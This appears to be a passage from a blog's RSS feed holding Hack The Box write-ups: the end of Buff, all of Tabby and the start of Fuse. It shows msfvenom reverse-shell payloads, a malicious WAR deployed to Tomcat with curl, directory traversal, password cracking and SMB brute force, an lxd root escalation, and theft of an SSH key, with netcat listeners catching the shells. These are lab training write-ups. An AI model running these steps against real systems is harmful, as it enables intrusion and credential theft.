&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Hey, it worked! We successfully exploited the system. The only two things left are now to 1.) update the shellcode for a reverse shell to the IP of our &lt;code&gt;tun0&lt;/code&gt; interface from the Hack The Box VPN and 2.) Find a way to actually send the payload, as we don&amp;rsquo;t have administrator permissions on the target yet and can thus not do a portproxy like we did for our box.&lt;/p&gt;
&lt;p&gt;After acknowledging the Windows dog which tells us that we have been pwned, we can shutdown our VM :-)&lt;/p&gt;
&lt;p&gt;&lt;img alt="Windows dog" loading="lazy" src="https://davidhamann.de/images/buff_dog.jpg"&gt;&lt;/p&gt;
&lt;h3 id="updating-the-payload"&gt;Updating the payload&lt;/h3&gt;
&lt;p&gt;Updating the payload is easy; just change the IP address of the &lt;code&gt;msfvenom&lt;/code&gt; command and put the result back into the exploit script:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.28 LPORT=80 -b &amp;#39;\x00&amp;#39; -f py
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="setting-up-a-remote-forward"&gt;Setting up a remote forward&lt;/h3&gt;
&lt;p&gt;To reach the CloudMe service from our attacker machine, we can upload &lt;code&gt;plink.exe&lt;/code&gt; to the target and then set up a remote port forward to our machine.&lt;/p&gt;
&lt;p&gt;Since we are connecting from the target to our machine, it makes sense to use a low-privilege account and only allow port-forwarding to minimize the chance of getting owned ourselves :-)&lt;/p&gt;
&lt;p&gt;We add the the public key and some options to the &lt;code&gt;authorized_keys&lt;/code&gt; file of our low-priv user (in my case I call the user &lt;code&gt;forwarder&lt;/code&gt;):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;from=&amp;#34;10.10.10.198&amp;#34;,command=&amp;#34;echo &amp;#39;Please dont pwn me&amp;#39;&amp;#34;,no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3Nz...==
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Next, we launch the SSHd service on our machine (feel free to adjust the port number in &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt;; I use 7777 for this example) and then copy the &lt;code&gt;plink.exe&lt;/code&gt; and &lt;code&gt;forwarder.ppk&lt;/code&gt; key file to the target:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;copy \\10.10.14.28\TMP\plink.exe .
copy \\10.10.14.28\TMP\forwarder.ppk .
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then, to set up the forwarding:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;.\plink.exe -ssh -l forwarder -i forwarder.ppk -v -N -P 7777 -R 8888:127.0.0.1:8888 10.10.14.28
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A quick &lt;code&gt;netstat -tlpn&lt;/code&gt; on our machine should confirm that sshd now also started listening on 127.0.0.1:8888 for our forward.&lt;/p&gt;
&lt;p&gt;One thing left: we change the &lt;code&gt;HOST&lt;/code&gt; variable in our exploit to &lt;code&gt;127.0.0.1&lt;/code&gt;, start a netcat listener &lt;code&gt;nc -lvnp 80&lt;/code&gt; and run the exploit again.&lt;/p&gt;
&lt;p&gt;Now we are greeted with an administrator shell from the target system:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo nc -vlnp 80
listening on [any] 80 ...
connect to [10.10.14.28] from (UNKNOWN) [10.10.10.198] 49876
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32&amp;gt;whoami
whoami
buff\administrator
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I have posted the full exploit script for reference as a &lt;a href="https://gist.github.com/davidhamann/412fe8a6ffde5b80c818d19e598495f6"&gt;Gist&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>Hack the Box Write-up #9: Tabby</title><link>https://davidhamann.de/2020/11/07/htb-writeup-tabby/</link><pubDate>Sat, 07 Nov 2020 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2020/11/07/htb-writeup-tabby/</guid><description>&lt;p&gt;This is a write-up for &lt;a href="https://www.hackthebox.eu"&gt;Hack the Box&amp;rsquo;s&lt;/a&gt; just retired &lt;strong&gt;Tabby&lt;/strong&gt; machine.&lt;/p&gt;
&lt;p&gt;We first find a Directory Traversal vulnerability in a web app and use it to obtain credentials for a Tomcat server running on the same host. Cracking a zip password of a discovered file then gives us access to the first low-priv user. From there, we exploit the fact that our user is part of the &lt;code&gt;lxd&lt;/code&gt; group, create a small Alpine Linux image and eventually mount the host&amp;rsquo;s root file system in a new container.&lt;/p&gt;
&lt;h2 id="recon-and-enumeration"&gt;Recon and Enumeration&lt;/h2&gt;
&lt;p&gt;We start by doing a fast scan to get a first overview of the box:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nmap -F 10.10.10.194

[...]
Not shown: 97 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Port 80 and 8080 are the most obvious things to look at first. While we start here, we also begin a full TCP port scan in the background (&lt;code&gt;nmap -p- 10.10.10.194&lt;/code&gt;) to potentially gather more information for a later stage.&lt;/p&gt;
&lt;p&gt;Looking at the site on port 80, we notice links going to the hostname &lt;code&gt;megahosting.htb&lt;/code&gt;. We add it to our &lt;code&gt;/etc/hosts&lt;/code&gt; file and proceed.&lt;/p&gt;
&lt;h2 id="directory-traversal-via-newsphp"&gt;Directory Traversal via news.php&lt;/h2&gt;
&lt;p&gt;The top menu item &lt;strong&gt;News&lt;/strong&gt; looks interesting, as it points to &lt;code&gt;http://megahosting.htb/news.php?file=statement&lt;/code&gt;, hinting at a potential file inclusion and/or directory traversal.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Megahosting News" loading="lazy" src="https://davidhamann.de/images/tabby-news.jpg"&gt;&lt;/p&gt;
&lt;p&gt;We are lucky and can easily traverse and read files from the server: &lt;code&gt;http://megahosting.htb/news.php?file=../../../../../../etc/passwd&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Before spending much time enumerating the file system &amp;ldquo;half-blind&amp;rdquo;, though, let&amp;rsquo;s first see if we can find another service that could give us guidance on where to look for interesting files.&lt;/p&gt;
&lt;h2 id="discovering-tomcat-and-utilizing-earlier-vulnerability"&gt;Discovering Tomcat and utilizing earlier vulnerability&lt;/h2&gt;
&lt;p&gt;Checking the results of our full port scan from ealier, we can see that TCP port 22, 80 and 8080 are the only open ports – so nothing new here.&lt;/p&gt;
&lt;p&gt;Navigating to &lt;code&gt;http://megahosting.htb:8080&lt;/code&gt;, we find what seems to be a default Tomcat 9 installation:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Tomcat" loading="lazy" src="https://davidhamann.de/images/tabby-tomcat.jpg"&gt;&lt;/p&gt;
&lt;p&gt;A common thing to check for Tomcat instances is the availability of the manager app (see for example &lt;a href="https://davidhamann.de/2019/12/03/htb-writeup-jerry/"&gt;Jerry&lt;/a&gt; or &lt;a href="https://davidhamann.de/2019/12/03/htb-writeup-jerry/"&gt;Kotarak&lt;/a&gt; write-up).&lt;/p&gt;
&lt;p&gt;We&amp;rsquo;re getting a Basic Auth prompt for &lt;code&gt;http://megahosting.htb:8080/manager/html&lt;/code&gt;. Since we don&amp;rsquo;t have any credentials yet, we can try to utilize the vulnerability from earlier and read the &lt;code&gt;tomcat-users.xml&lt;/code&gt; file, which could give us potential usernames, passwords and role information.&lt;/p&gt;
&lt;p&gt;The default Tomcat page happily gives up the installation directory as &lt;code&gt;/usr/share/tomcat9&lt;/code&gt;. It is thus most-likely, that we find configuration files in here.&lt;/p&gt;
&lt;p&gt;Looking at &lt;a href="https://ubuntu.pkgs.org/20.04/ubuntu-universe-amd64/tomcat9_9.0.31-1_all.deb.html"&gt;common file pathes&lt;/a&gt;, we can easily identify &lt;code&gt;/usr/share/tomcat9/etc/tomcat-users.xml&lt;/code&gt; as the location of a potential target file.&lt;/p&gt;
&lt;p&gt;Via the earlier directory traversal vulnerability we can can indeed get its contents:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;GET /news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml HTTP/1.1

[...]
&amp;lt;user username=&amp;#34;tomcat&amp;#34; password=&amp;#34;$3cureP4s5w0rd123!&amp;#34; roles=&amp;#34;admin-gui,manager-script&amp;#34;/&amp;gt;
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Since we don&amp;rsquo;t have the &lt;code&gt;manager-gui&lt;/code&gt; role, we cannot utilize the web interface though. The &lt;code&gt;manager-script&lt;/code&gt; role, however, should be enough as it also gives us the ability to deploy our own apps – just not via the web ui.&lt;/p&gt;
&lt;h2 id="deploying-our-own-app"&gt;Deploying our own app&lt;/h2&gt;
&lt;p&gt;Looking at the &lt;a href="https://tomcat.apache.org/tomcat-9.0-doc/manager-howto.html"&gt;Tomcat manager documentation&lt;/a&gt;, we can get instructions on how to use the HTTP interface to deploy new apps (see section &amp;ldquo;Deploy A New Application Archive (WAR) Remotely&amp;rdquo;). TL;DR: A simple &lt;code&gt;curl&lt;/code&gt; PUT file upload command should do.&lt;/p&gt;
&lt;p&gt;We can create our own WAR app with a reverse shell payload by using &lt;code&gt;msfvenom&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.19 LPORT=80 -f war -o letmein.war
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For later access, we note the name of the JSP file &lt;code&gt;msfvenom&lt;/code&gt; generated by looking into the &lt;code&gt;letmein.war&lt;/code&gt; (which is a zip archive):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ unzip -l letmein.war 
Archive: letmein.war
 Length Date Time Name
--------- ---------- ----- ----
 0 2020-11-06 22:01 META-INF/
 71 2020-11-06 22:01 META-INF/MANIFEST.MF
 0 2020-11-06 22:01 WEB-INF/
 263 2020-11-06 22:01 WEB-INF/web.xml
 1801 2020-11-06 22:01 gvggpzkl.jsp &amp;lt;--- this guy!
--------- -------
 2135 5 files
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With our credentials and payload at hand, we can attempt to deploy:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;curl -v -u &amp;#39;tomcat:$3cureP4s5w0rd123!&amp;#39; --upload-file letmein.war &amp;#39;http://10.10.10.194:8080/manager/text/deploy?path=/letmein&amp;amp;update=true&amp;#39;

* Trying 10.10.10.194:8080...
* Connected to 10.10.10.194 (10.10.10.194) port 8080 (#0)
* Server auth using Basic with user &amp;#39;tomcat&amp;#39;
&amp;gt; PUT /manager/text/deploy?path=/letmein&amp;amp;update=true HTTP/1.1
&amp;gt; Host: 10.10.10.194:8080
&amp;gt; Authorization: Basic dG9tY2F0OiQzY3VyZVA0czV3MHJkMTIzIQ==
&amp;gt; User-Agent: curl/7.72.0
&amp;gt; Accept: */*
&amp;gt; Content-Length: 1533
&amp;gt; Expect: 100-continue
&amp;gt; 
* Mark bundle as not supporting multiuse
&amp;lt; HTTP/1.1 100 
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
&amp;lt; HTTP/1.1 200 
&amp;lt; Cache-Control: private
&amp;lt; Expires: Thu, 01 Jan 1970 00:00:00 GMT
&amp;lt; X-Content-Type-Options: nosniff
&amp;lt; Content-Type: text/plain;charset=utf-8
&amp;lt; Transfer-Encoding: chunked
&amp;lt; Date: Fri, 06 Nov 2020 21:20:15 GMT
&amp;lt; 
OK - Deployed application at context path [/letmein]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Starting a listener on port 80 (&lt;code&gt;nc -lvnp 80&lt;/code&gt;), then hitting the JSP file of our payload (&lt;code&gt;curl http://10.10.10.194:8080/letmein/gvggpzkl.jsp&lt;/code&gt;) should give us our first shell:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ nc -lvnp 80
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.194.
Ncat: Connection from 10.10.10.194:53318
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="privilege-escalation-to-ash-hash-cracking"&gt;Privilege Escalation to &amp;ldquo;ash&amp;rdquo; (hash cracking)&lt;/h2&gt;
&lt;p&gt;With our shell, we are the &lt;code&gt;tomcat&lt;/code&gt; user and not part of any special group (&lt;code&gt;id&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;After a couple of basic checks and looking at common places, we find &lt;code&gt;16162020_backup.zip&lt;/code&gt; inside &lt;code&gt;/var/www/html/files&lt;/code&gt; – a file we could have also accessed earlier via port 80 if we had known its name.&lt;/p&gt;
&lt;p&gt;We can download and try to open it. Unfortunately, the zip file has a password on it.&lt;/p&gt;
&lt;p&gt;Using &lt;code&gt;zip2john 16162020_backup.zip&lt;/code&gt;, we extract the hash and attempt to crack it using a common wordlist:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;john --wordlist=~/wordlists/SecLists/Passwords/Leaked-Databases/rockyou.txt zip.hash 
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Press &amp;#39;q&amp;#39; or Ctrl-C to abort, almost any other key for status
admin@it (16162020_backup.zip)
1g 0:00:00:01 DONE (2020-11-06 22:48) 0.5617g/s 5817Kp/s 5817Kc/s 5817KC/s adminako123..admin422243
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Cracking the password succeeds after just a second.&lt;/p&gt;
&lt;p&gt;We can now extract the contents of the archive, but find it is simply a current backup of the site and thus contains nothing new.&lt;/p&gt;
&lt;p&gt;Having discovered a new password, however, we can see if somebody is re-using their credentials.&lt;/p&gt;
&lt;p&gt;We first try it on the user &lt;code&gt;ash&lt;/code&gt; as it&amp;rsquo;s the only user with a shell besides root (&lt;code&gt;grep bash /etc/passwd&lt;/code&gt;). And it works! We can switch to user &lt;code&gt;ash&lt;/code&gt; with &lt;code&gt;su ash&lt;/code&gt; and password &lt;code&gt;admin@it&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="privilege-escalation-to-root-lxd"&gt;Privilege Escalation to &amp;ldquo;root&amp;rdquo; (lxd)&lt;/h2&gt;
&lt;p&gt;Now that we are &lt;code&gt;ash&lt;/code&gt;, let&amp;rsquo;s check our groups again:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We are part of the &lt;code&gt;lxd&lt;/code&gt; group, which looks like a solid way to escalate by creating a new container and mounting the host file system.&lt;/p&gt;
&lt;p&gt;To first build an image, we need &lt;a href="https://github.com/lxc/distrobuilder"&gt;distrobuilder&lt;/a&gt;, a Go application. It needs a couple of requirements, but is easy to setup when following the &lt;a href="https://github.com/lxc/distrobuilder#installing-from-source"&gt;instructions on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We can also – more or less – follow the instructions for building the image. But as we only need a light-weight base, we choose Alpine over Ubuntu.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s make a directory and grab an Alpine configuration:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ mkdir alpine
$ cd alpine/
$ vim alpine.yml
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;For the &lt;code&gt;alpine.yml&lt;/code&gt; we use &lt;a href="https://github.com/lxc/lxc-ci/blob/master/images/alpine.yaml"&gt;https://github.com/lxc/lxc-ci/blob/master/images/alpine.yaml&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now we can go ahead and build the &lt;code&gt;lxd&lt;/code&gt; image using &lt;code&gt;distrobuilder&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ distrobuilder build-lxd alpine.yml -o image.release=3.12
/tmp/alpinelinux-3.12-x86_64/alpine-minirootfs-3.12.0-x86_64.tar.gz: 100% (5.53MB/s)
/tmp/alpinelinux-3.12-x86_64/alpine-minirootfs-3.12.0-x86_64.tar.gz.asc: 100% (2.29GB/s)
fetch http://dl-cdn.alpinelinux.org/alpine/v3.12/main/x86_64/APKINDEX.tar.gz
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We should now have our container image consisting of &lt;code&gt;lxd.tar.xz&lt;/code&gt; and &lt;code&gt;rootfs.squashfs&lt;/code&gt; present in our &lt;code&gt;alpine&lt;/code&gt; folder. Let&amp;rsquo;s transfer the file over to the target machine:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# on target
nc -lvnp 8000 &amp;gt; lxd.tar.xz
nc -lvnp 8000 &amp;gt; rootfs.squashfs

# on attacker
nc 10.10.10.194 8000 &amp;lt; lxd.tar.xz
nc 10.10.10.194 8000 &amp;lt; rootfs.squashfs

# on both hosts to check if everything went fine
md5sum *
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then add the image on the target host:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;lxd init # on a fresh instance, you need to init, but can go with the defaults
lxc image import lxd.tar.xz rootfs.squashfs --alias givemeroot
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now we can create and configure our privileged &lt;em&gt;privesc&lt;/em&gt; container to mount the host file system (options taken from &lt;a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation"&gt;HackTricks&lt;/a&gt;):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;lxc init givemeroot privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;And that&amp;rsquo;s it. We can run our container, get a shell in it and navigate to our mount point to gain full access to the host&amp;rsquo;s root filesystem:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;lxc start privesc
lxc exec privesc /bin/sh
cd /mnt/root &amp;lt;-- host&amp;#39;s file system
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With this kind of access, we can steal the &lt;code&gt;id_rsa&lt;/code&gt; from &lt;code&gt;/mnt/root/root/.ssh&lt;/code&gt; and SSH into the box as root:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;ssh -i root.key root@10.10.10.194
&lt;/code&gt;&lt;/pre&gt;&lt;h1 id="undo"&gt;Undo&lt;/h1&gt;
&lt;p&gt;Since this is a quite visible privilege escalation, you can either reset the box or &lt;a href="https://discuss.linuxcontainers.org/t/how-to-remove-lxd-from-my-system/2336/4"&gt;remove&lt;/a&gt; the lxd stuff you added to not spoil it for other players. Essentially, it is:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;lxc delete privesc
lxc image delete givemeroot
lxc network delete lxdbr0 &amp;lt;-- from the init
lxc storage delete default
lxc profile edit default &amp;lt;-- wipe config
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Hack the Box Write-up #8: Fuse</title><link>https://davidhamann.de/2020/10/31/htb-writeup-fuse/</link><pubDate>Sat, 31 Oct 2020 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2020/10/31/htb-writeup-fuse/</guid><description>&lt;p&gt;I finally found some time again to write a walk-through of a Hack The Box machine. In this post we&amp;rsquo;ll hack into &lt;em&gt;Fuse&lt;/em&gt;, a Medium machine which just got retired and included some password guessing, discovery of stored plaintext credentials and eventually a SeLoadDriverPrivilege escalation.&lt;/p&gt;
&lt;h2 id="recon-and-enumeration"&gt;Recon and Enumeration&lt;/h2&gt;
&lt;p&gt;To get a first overview of the box, we&amp;rsquo;ll start with a &lt;code&gt;nmap -sC -sV 10.10.10.193&lt;/code&gt;.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus 
80/tcp open http Microsoft IIS httpd 10.0
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn&amp;#39;t have a title (text/html).
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-10-30 22:31:39Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: FABRICORP)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Looking at the ports and enumeration output, we can tell we&amp;rsquo;re dealing with a domain controller.&lt;/p&gt;
&lt;p&gt;Since we also see port 80 open, let&amp;rsquo;s first have a quick look at the site at &lt;code&gt;http://10.10.10.193&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It forwards us to &lt;code&gt;http://fuse.fabricorp.local/papercut/logs/html/index.htm&lt;/code&gt;, which we can browse normally after adding &lt;code&gt;fuse.fabricorp.local&lt;/code&gt; and &lt;code&gt;fabricorp.local&lt;/code&gt; to &lt;code&gt;/etc/hosts&lt;/code&gt; (you would only need to add &lt;code&gt;fuse.fabricorp.local&lt;/code&gt;, but it could be helpful to also have the root domain in it for later parts):&lt;/p&gt;
&lt;p&gt;&lt;img alt="Papercut site" loading="lazy" src="https://davidhamann.de/images/fuse-papercut-site.jpg"&gt;&lt;/p&gt;
&lt;p&gt;The print logging system lets us access reports for past print jobs and through that also makes it possible to collect some user/machine names and document titles with potential hints:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Users, machines and documents" loading="lazy" src="https://davidhamann.de/images/fuse-printlogs.jpg"&gt;&lt;/p&gt;
&lt;p&gt;We learn about the following users:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;pmerton - JUMP01 - Works in HR?&lt;/li&gt;
&lt;li&gt;tlavel - LONWK015 - Works in IT?&lt;/li&gt;
&lt;li&gt;sthompson - LONWK019 - Works in Purchasing?&lt;/li&gt;
&lt;li&gt;bhult - LAPTOP07&lt;/li&gt;
&lt;li&gt;administrator - FUSE - Troubleshooting some printing issues?&lt;/li&gt;
&lt;li&gt;bnielson – New in the company? Maybe a weak default password?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Looking at the other ports, we can&amp;rsquo;t enumerate too much more as we don&amp;rsquo;t have valid credentials yet (no LDAP, SMB/RPC enum).&lt;/p&gt;
&lt;h2 id="brute-forcing-our-way-to-first-credentials"&gt;Brute-forcing our way to first credentials&lt;/h2&gt;
&lt;p&gt;We&amp;rsquo;ll take a chance and create a small wordlist of passwords containing the company name and try it against the discovered accounts via SMB:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;users.txt&lt;/em&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;bnielson
sthompson
tlavel
pmerton
bhult
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;em&gt;passwords.txt&lt;/em&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ echo Fabricorp &amp;gt; seed
$ hashcat -r best64.rule --stdout seed &amp;gt; passwords.txt
Fabricorp
procirbaF
FABRICORP
fabricorp
Fabricorp0
Fabricorp1
Fabricorp2
Fabricorp3
Fabricorp4
Fabricorp5
Fabricorp6
Fabricorp7
Fabricorp8
Fabricorp9
Fabricorp00
Fabricorp01
Fabricorp02
Fabricorp11
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Using hydra for brute-forcing, we quickly get the following results:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ hydra -L users.txt -P passwords.txt smb://10.10.10.193
Hydra v9.1 (c) 2020 by van Hauser/THC &amp;amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-10-30 23:47:54
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 60 login tries (l:5/p:12), ~60 tries per task
[DATA] attacking smb://10.10.10.193:445/
[445][smb] Host: 10.10.10.193 Account: bnielson Valid password, password expired and must be changed on next logon
[445][smb] host: 10.10.10.193 login: bnielson password: Fabricorp01
[445][smb] Host: 10.10.10.193 Account: tlavel Valid password, password expired and must be changed on next logon
[445][smb] host: 10.10.10.193 login: tlavel password: Fabricorp01
[445][smb] Host: 10.10.10.193 Account: bhult Valid password, password expired and must be changed on next logon
[445][smb] host: 10.10.10.193 login: bhult password: Fabricorp01
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So &lt;code&gt;Fabricorp01&lt;/code&gt; seems to be an expired default password for a couple of accounts. We should be able to reset the password and set our own. Let&amp;rsquo;s choose &lt;code&gt;tlavel&lt;/code&gt; as our target, since it looks like he&amp;rsquo;s working in IT:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ smbpasswd -U tlavel -r 10.10.10.193
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user tlavel on 10.10.10.193.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The password change worked and we can authenticate via SMB.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ smbmap -H 10.10.10.193 -u tlavel -p &amp;#39;chosenpassword&amp;#39;
[+] IP: 10.10.10.193:445 Name: fabricorp.local
 Disk Permissions Comment
 ---- ----------- -------
 ADMIN$ NO ACCESS Remote Admin
 C$ NO ACCESS Default share
 HP-MFT01 NO ACCESS HP-MFT01
 IPC$ READ ONLY Remote IPC
 NETLOGON READ ONLY Logon server share
 print$ READ ONLY Printer Drivers
 SYSVOL READ ONLY Logon server share
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="more-enumeration-finding-plaintext-credentials"&gt;More Enumeration, Finding Plaintext Credentials&lt;/h2&gt;
&lt;p&gt;Our credentials don&amp;rsquo;t give us too much in terms of file access – we can mount &lt;code&gt;print$&lt;/code&gt; with &lt;code&gt;mkdir /mnt/print; mount -t cifs -o 'user=tlavel,password=chosenpassword,rw,vers=1.0' //10.10.10.193/print$ /mnt/print&lt;/code&gt;, but nothing looks helpful in here.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s see if we can enumerate more users, groups, maybe printers&amp;hellip; :-). A good tool to do this kind of enumeration is &lt;code&gt;rpcclient&lt;/code&gt;, which will do all the SAMR/SPOOL RPC calls for you:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ rpcclient -U tlavel 10.10.10.193
rpcclient $&amp;gt; enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[svc-print] rid:[0x450]
user:[bnielson] rid:[0x451]
user:[sthompson] rid:[0x641]
user:[tlavel] rid:[0x642]
user:[pmerton] rid:[0x643]
user:[svc-scan] rid:[0x645]
user:[bhult] rid:[0x1bbd]
user:[dandrews] rid:[0x1bbe]
user:[mberbatov] rid:[0x1db1]
user:[astein] rid:[0x1db2]
user:[dmuir] rid:[0x1db3]

rpcclient $&amp;gt; enumdomgroups
group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]
group:[Domain Admins] rid:[0x200]
group:[Domain Users] rid:[0x201]
group:[Domain Guests] rid:[0x202]
group:[Domain Computers] rid:[0x203]
group:[Domain Controllers] rid:[0x204]
group:[Schema Admins] rid:[0x206]
group:[Enterprise Admins] rid:[0x207]
group:[Group Policy Creator Owners] rid:[0x208]
group:[Read-only Domain Controllers] rid:[0x209]
group:[Cloneable Domain Controllers] rid:[0x20a]
group:[Protected Users] rid:[0x20d]
group:[Key Admins] rid:[0x20e]
group:[Enterprise Key Admins] rid:[0x20f]
group:[DnsUpdateProxy] rid:[0x44e]
group:[IT_Accounts] rid:[0x644]

rpcclient $&amp;gt; enumprinters
 flags:[0x800000]
 name:[\\10.10.10.193\HP-MFT01]
 description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]
 comment:[]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The printer description field looks juicy and might fit the &lt;code&gt;svc-scan&lt;/code&gt; or &lt;code&gt;svc-print&lt;/code&gt; account discovered in the earlier call.&lt;/p&gt;
&lt;p&gt;Looking at the groups again, let&amp;rsquo;s dig into &lt;code&gt;IT_Accounts&lt;/code&gt; as it stands out:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;rpcclient $&amp;gt; querygroup 0x644
 Group Name: IT_Accounts
 Description:
 Group Attribute:7
 Num Members:2
rpcclient $&amp;gt; querygroupmem 0x644
 rid:[0x450] attr:[0x7]
 rid:[0x641] attr:[0x7]
rpcclient $&amp;gt; queryuser 0x450
 User Name : svc-print
 [...]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;svc-print&lt;/code&gt; is part of &lt;code&gt;IT_Accounts&lt;/code&gt;, &lt;code&gt;svc-scan&lt;/code&gt; is just in &lt;code&gt;Domain Users&lt;/code&gt; – so let&amp;rsquo;s try &lt;code&gt;svc-print&lt;/code&gt; first. This time we&amp;rsquo;re using &lt;code&gt;crackmapexec&lt;/code&gt; to check:&lt;/p&gt;
